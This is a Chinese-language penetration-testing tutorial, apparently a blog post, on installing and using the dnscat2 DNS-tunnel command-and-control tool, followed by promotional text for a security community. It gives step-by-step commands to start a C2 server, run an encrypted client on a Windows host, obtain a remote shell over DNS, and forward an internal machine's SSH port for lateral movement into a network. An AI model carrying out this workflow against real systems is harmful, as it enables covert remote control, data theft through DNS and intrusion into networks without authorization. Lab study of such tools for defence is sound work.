測試環(huán)境
ubuntu 14.04 root用戶
windows7 x64 user用戶
0x01環(huán)境準(zhǔn)備
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/DNScat2.git
cd dnscat2/server
#修改Gemfile source ‘https://ruby.taobao.org/’
bundle install
或者通過Docker安裝
apt-get install docker.io
service docker status
service docker start
cd ~/dnscat2/server
#修改Gemfile source ‘https://ruby.taobao.org/’
docker build .
安裝完成之后,可能在docker images 看到這個鏡像沒有名字,我們修改一下 docker tag IMAGEID mpercival/dnscat2
0x02利用過程
server端
cd dnscat2/server
ruby ./dnscat2.rb
#docker用戶 docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb
可以通過兩種方式設(shè)置C&C地址,如果沒有域名的話,直接在外網(wǎng)VPS運行ruby ./dnscat2.rb 有域名的童鞋,先設(shè)置好NS服務(wù)器將NS記錄修改為當(dāng)前的機(jī)器。然后通過ruby ./dnscat2.rb yourdomain 我這里使用的IP地址
client端
將dnscat2文件夾下面的client編譯好成exe,然后上傳到client端
dnscat2.exe --dns=server=server端ip --secret=c2c6d04cab68ee2947d80316858da0f8
由于在新版本的dnscat2是加密的所以我們在客戶端執(zhí)行的時候要加上秘鑰,不然無法正確的建立連接
獲取shell
session -i 1 #切換到session 1
help #通過help可以看到支持的命令
shell #執(zhí)行之后會新生成一個session 需要通過session -i 2 切過去
這樣就成功獲取了一個shell,我們可以通過數(shù)據(jù)包看一下
數(shù)據(jù)都是通過DNS發(fā)出去的,并且是加密過的,因為在最初的dnscat2的版本中,數(shù)據(jù)只是簡單的hex編碼。到最新版的默認(rèn)就已經(jīng)加密
通過Salsa20加密算法進(jìn)行了加密,如果不知道秘鑰,就幾乎不能解密數(shù)據(jù)包了。除了普通的反彈shell和上傳下載文件功能,還有一個比較有用的功能
可以通過dnscat2實現(xiàn)DNS隧道,然后進(jìn)行內(nèi)網(wǎng)滲透。在成功獲取一個session之后執(zhí)行
session -i id
listen 4444 10.211.55.19:22 #將內(nèi)網(wǎng)10.211.55.19的22端口轉(zhuǎn)發(fā)到本地的4444
然后直接ssh本地的ip的4444端口
注意的是我用的docker環(huán)境,所以是直接ssh的docker的ip
編譯好的client端
dnscat2.zip
最后喜歡我文章的朋友請加圈子關(guān)注我們,私信關(guān)鍵詞:學(xué)習(xí)。(送免費資料和優(yōu)惠券)
就會自動分享給你微信號。歡迎大家加入我們的安全大家庭。提高大家的安全意識,提升大家的網(wǎng)絡(luò)安全技能一直是我們的初衷和愿景,讓我們共同成為守護(hù)信息世界的"SaFeMAN"。
還有可以關(guān)注我們微信公眾號,在公眾號上輸入安界網(wǎng),就可以關(guān)注到我們,領(lǐng)取資料和優(yōu)惠券